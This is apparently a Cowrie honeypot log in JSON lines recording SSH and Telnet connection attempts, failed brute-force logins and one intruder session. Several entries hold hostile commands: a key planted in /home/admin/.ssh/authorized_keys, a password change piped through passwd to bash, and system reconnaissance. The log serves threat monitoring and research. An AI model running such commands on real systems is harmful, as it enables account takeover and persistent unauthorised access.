{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:38.721663Z","src_ip":"119.195.89.96","session":"ed71fd5b5a4c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:38.725423Z","src_ip":"119.195.89.96","session":"ed71fd5b5a4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.72.5.107","src_port":43182,"dst_ip":"159.203.135.109","dst_port":23,"session":"b5e0891cac59","protocol":"telnet","message":"New connection: 77.72.5.107:43182 (159.203.135.109:23) [session: b5e0891cac59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:38.739325Z"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":54994,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ae27504e143","protocol":"telnet","message":"New connection: 138.197.5.236:54994 (159.203.135.109:23) [session: 2ae27504e143]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:38.790398Z"}
{"eventid":"cowrie.session.connect","src_ip":"119.195.89.96","src_port":40368,"dst_ip":"159.203.135.109","dst_port":22,"session":"2404026c64d1","protocol":"ssh","message":"New connection: 119.195.89.96:40368 (159.203.135.109:22) [session: 2404026c64d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:38.909951Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:38.917136Z","src_ip":"119.195.89.96","session":"2404026c64d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:39.108787Z","src_ip":"119.195.89.96","session":"2404026c64d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.152.33.170","src_port":50030,"dst_ip":"159.203.135.109","dst_port":23,"session":"0347960a7935","protocol":"telnet","message":"New connection: 107.152.33.170:50030 (159.203.135.109:23) [session: 0347960a7935]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:39.590375Z"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:39.910450Z","src_ip":"119.195.89.96","session":"2404026c64d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.025413751602173,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:40.181699Z","src_ip":"138.197.5.236","session":"9eff78371287","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.279433727264404,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:40.219323Z","src_ip":"138.197.5.236","session":"46f265c0e17c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.396847248077393,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:40.689843Z","src_ip":"85.190.254.94","session":"c6defcf920b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"77.72.5.107","src_port":45396,"dst_ip":"159.203.135.109","dst_port":23,"session":"fac06359614d","protocol":"telnet","message":"New connection: 77.72.5.107:45396 (159.203.135.109:23) [session: fac06359614d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:41.001582Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:41.105671Z","src_ip":"119.195.89.96","session":"2404026c64d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.195.89.96","src_port":43041,"dst_ip":"159.203.135.109","dst_port":22,"session":"0f6209c07d29","protocol":"ssh","message":"New connection: 119.195.89.96:43041 (159.203.135.109:22) [session: 0f6209c07d29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:41.294218Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:41.299654Z","src_ip":"119.195.89.96","session":"0f6209c07d29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.72.5.107","src_port":45148,"dst_ip":"159.203.135.109","dst_port":23,"session":"9309f47fbdc5","protocol":"telnet","message":"New connection: 77.72.5.107:45148 (159.203.135.109:23) [session: 9309f47fbdc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:41.379867Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:41.491466Z","src_ip":"119.195.89.96","session":"0f6209c07d29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.72.5.107","src_port":45274,"dst_ip":"159.203.135.109","dst_port":23,"session":"d7ac8dc3d2b8","protocol":"telnet","message":"New connection: 77.72.5.107:45274 (159.203.135.109:23) [session: d7ac8dc3d2b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:41.779986Z"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":57892,"dst_ip":"159.203.135.109","dst_port":23,"session":"bbbda0d25b12","protocol":"telnet","message":"New connection: 138.197.5.236:57892 (159.203.135.109:23) [session: bbbda0d25b12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:41.911452Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:42.287618Z","src_ip":"119.195.89.96","session":"0f6209c07d29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.72.5.107","src_port":45912,"dst_ip":"159.203.135.109","dst_port":23,"session":"cedb349582ea","protocol":"telnet","message":"New connection: 77.72.5.107:45912 (159.203.135.109:23) [session: cedb349582ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:42.321106Z"}
{"eventid":"cowrie.session.closed","duration":30.328795671463013,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:43.043351Z","src_ip":"77.72.5.107","session":"93b0045821e2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":59368,"dst_ip":"10.17.0.5","dst_port":23,"session":"f207a2e8b136","protocol":"telnet","message":"New connection: 85.190.254.94:59368 (10.17.0.5:23) [session: f207a2e8b136]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:43.420274Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:43.482378Z","src_ip":"119.195.89.96","session":"0f6209c07d29","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:43.720008Z","src_ip":"119.195.89.96","session":"ed71fd5b5a4c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:43.723777Z","src_ip":"119.195.89.96","session":"ed71fd5b5a4c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:43.921281Z","src_ip":"119.195.89.96","session":"ed71fd5b5a4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.581772565841675,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:44.126011Z","src_ip":"85.190.254.94","session":"665ca9929d66","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:44.348972Z","src_ip":"119.195.89.96","session":"ed71fd5b5a4c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"admin123admin\\nbGwtqA066JHG\\nbGwtqA066JHG\"|passwd|bash","message":"CMD: echo -e \"admin123admin\\nbGwtqA066JHG\\nbGwtqA066JHG\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:44.353049Z","src_ip":"119.195.89.96","session":"ed71fd5b5a4c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:44.356973Z","src_ip":"119.195.89.96","session":"ed71fd5b5a4c","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:44.360473Z","src_ip":"119.195.89.96","session":"ed71fd5b5a4c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/9cf3af089d725ecc673880331b33eff4c1c2ef2d016d1e151fadb70044e089af","size":32,"shasum":"9cf3af089d725ecc673880331b33eff4c1c2ef2d016d1e151fadb70044e089af","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/9cf3af089d725ecc673880331b33eff4c1c2ef2d016d1e151fadb70044e089af after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:44.558930Z","src_ip":"119.195.89.96","session":"ed71fd5b5a4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.5.236","src_port":60958,"dst_ip":"159.203.135.109","dst_port":23,"session":"a79187ef7fd8","protocol":"telnet","message":"New connection: 138.197.5.236:60958 (159.203.135.109:23) [session: a79187ef7fd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:44.776029Z"}
{"eventid":"cowrie.session.closed","duration":31.798166275024414,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:44.795795Z","src_ip":"85.190.254.94","session":"c096d00d2f5b","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:44.993112Z","src_ip":"119.195.89.96","session":"ed71fd5b5a4c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"admin123admin\\nbGwtqA066JHG\\nbGwtqA066JHG\\n\"|passwd","message":"CMD: echo \"admin123admin\\nbGwtqA066JHG\\nbGwtqA066JHG\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:44.997092Z","src_ip":"119.195.89.96","session":"ed71fd5b5a4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.81659746170044,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:45.076351Z","src_ip":"85.190.254.94","session":"b3dd1a285321","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/669e0b8a9c5745303c3de87267b152b13f3f18764328b75055f1c9ed9e894dcb","size":25,"shasum":"669e0b8a9c5745303c3de87267b152b13f3f18764328b75055f1c9ed9e894dcb","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/669e0b8a9c5745303c3de87267b152b13f3f18764328b75055f1c9ed9e894dcb after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:45.195405Z","src_ip":"119.195.89.96","session":"ed71fd5b5a4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.72.5.107","src_port":47190,"dst_ip":"159.203.135.109","dst_port":23,"session":"ece916b8047f","protocol":"telnet","message":"New connection: 77.72.5.107:47190 (159.203.135.109:23) [session: ece916b8047f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:45.463583Z"}
{"eventid":"cowrie.session.closed","duration":30.575344562530518,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:45.479832Z","src_ip":"77.72.5.107","session":"094aa45b9b38","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.190.254.94","src_port":38498,"dst_ip":"10.17.0.5","dst_port":23,"session":"658ab89fa602","protocol":"telnet","message":"New connection: 85.190.254.94:38498 (10.17.0.5:23) [session: 658ab89fa602]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:45.592643Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:45.716120Z","src_ip":"119.195.89.96","session":"ed71fd5b5a4c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:45.719750Z","src_ip":"119.195.89.96","session":"ed71fd5b5a4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.77.140.101","src_port":44528,"dst_ip":"159.203.135.109","dst_port":23,"session":"c80e9f279e2b","protocol":"telnet","message":"New connection: 62.77.140.101:44528 (159.203.135.109:23) [session: c80e9f279e2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:45.728686Z"}
{"eventid":"cowrie.session.connect","src_ip":"77.72.5.107","src_port":46474,"dst_ip":"159.203.135.109","dst_port":23,"session":"60678bbdf4d6","protocol":"telnet","message":"New connection: 77.72.5.107:46474 (159.203.135.109:23) [session: 60678bbdf4d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:45.733224Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:45.919321Z","src_ip":"119.195.89.96","session":"ed71fd5b5a4c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:46.347640Z","src_ip":"119.195.89.96","session":"ed71fd5b5a4c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:46.350662Z","src_ip":"119.195.89.96","session":"ed71fd5b5a4c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":26,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:46.549042Z","src_ip":"119.195.89.96","session":"ed71fd5b5a4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.31906294822693,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:46.891951Z","src_ip":"85.190.254.94","session":"dc26257d2f15","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:46.974666Z","src_ip":"119.195.89.96","session":"ed71fd5b5a4c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:46.978481Z","src_ip":"119.195.89.96","session":"ed71fd5b5a4c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:46.981770Z","src_ip":"119.195.89.96","session":"ed71fd5b5a4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.72.5.107","src_port":47892,"dst_ip":"159.203.135.109","dst_port":23,"session":"3dd45fb48ced","protocol":"telnet","message":"New connection: 77.72.5.107:47892 (159.203.135.109:23) [session: 3dd45fb48ced]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:47.052235Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:47.181190Z","src_ip":"119.195.89.96","session":"ed71fd5b5a4c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:47.617081Z","src_ip":"119.195.89.96","session":"ed71fd5b5a4c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:47.621418Z","src_ip":"119.195.89.96","session":"ed71fd5b5a4c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:47.819990Z","src_ip":"119.195.89.96","session":"ed71fd5b5a4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.723275184631348,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:48.068642Z","src_ip":"85.190.254.94","session":"0f3888422b16","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:48.245625Z","src_ip":"119.195.89.96","session":"ed71fd5b5a4c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:48.249445Z","src_ip":"119.195.89.96","session":"ed71fd5b5a4c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:05:48.448590Z","src_ip":"119.195.89.96","session":"ed71fd5b5a4c","protocol":"ssh"}
